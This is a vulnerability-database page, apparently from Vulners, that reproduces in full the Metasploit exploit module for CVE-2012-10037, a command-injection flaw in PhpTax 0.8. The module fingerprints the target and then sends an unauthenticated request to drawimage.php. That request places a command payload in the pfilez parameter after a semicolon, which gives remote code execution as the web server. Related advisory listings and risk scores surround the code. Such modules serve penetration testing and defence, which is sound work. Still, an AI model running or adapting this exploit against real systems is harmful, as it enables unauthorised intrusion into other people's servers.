PhpTax pfilez Parameter Exec Remote Code Injection
🗓️ 08 Oct 2012 00:00:00Reported by Jean Pascal Pereira <[email protected]>, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 33 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2012-10037 | 29 May 201815:50 | – | circl | |
| Sourceforge Phptax 安全漏洞 | 11 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10037 | 11 Aug 202514:54 | – | cve | |
| CVE-2012-10037 PhpTax pfilez Parameter Exec Remote Code Injection | 11 Aug 202514:54 | – | cvelist | |
| EUVD-2012-6598 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10037 | 11 Aug 202515:15 | – | nvd | |
| PT-2025-32550 · Phptax · Phptax | 11 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10037 | 13 Aug 202515:28 | – | redhatcve | |
| CVE-2012-10037 PhpTax pfilez Parameter Exec Remote Code Injection | 11 Aug 202514:54 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in PhpTax, an income tax report
generator. When generating a PDF, the icondrawpng() function in drawimage.php
does not properly handle the pfilez parameter, which will be used in an exec()
statement, and then results in arbitrary remote code execution under the context
of the web server. Please note: authentication is not required to exploit this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'Jean Pascal Pereira <pereira[at]secbiz.de>',
'sinn3r' # Metasploit
],
'References' => [
['CVE', '2012-10037'],
['OSVDB', '86992'],
['EDB', '21665']
],
'Payload' => {
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
},
'Platform' => %w{linux unix},
'Targets' => [
['PhpTax 0.8', {}]
],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => '2012-10-08',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
]
)
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({ 'uri' => uri })
if res and res.body =~ /PHPTAX by William L\. Berggren/
return Exploit::CheckCode::Detected('The target service was detected')
else
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
end
def exploit
uri = target_uri.path
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending request...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "drawimage.php"),
'vars_get' => {
'pdf' => 'make',
'pfilez' => "xxx; #{payload.encoded}"
}
})
handler
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2012 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 49.3
EPSS0.01188
SSVC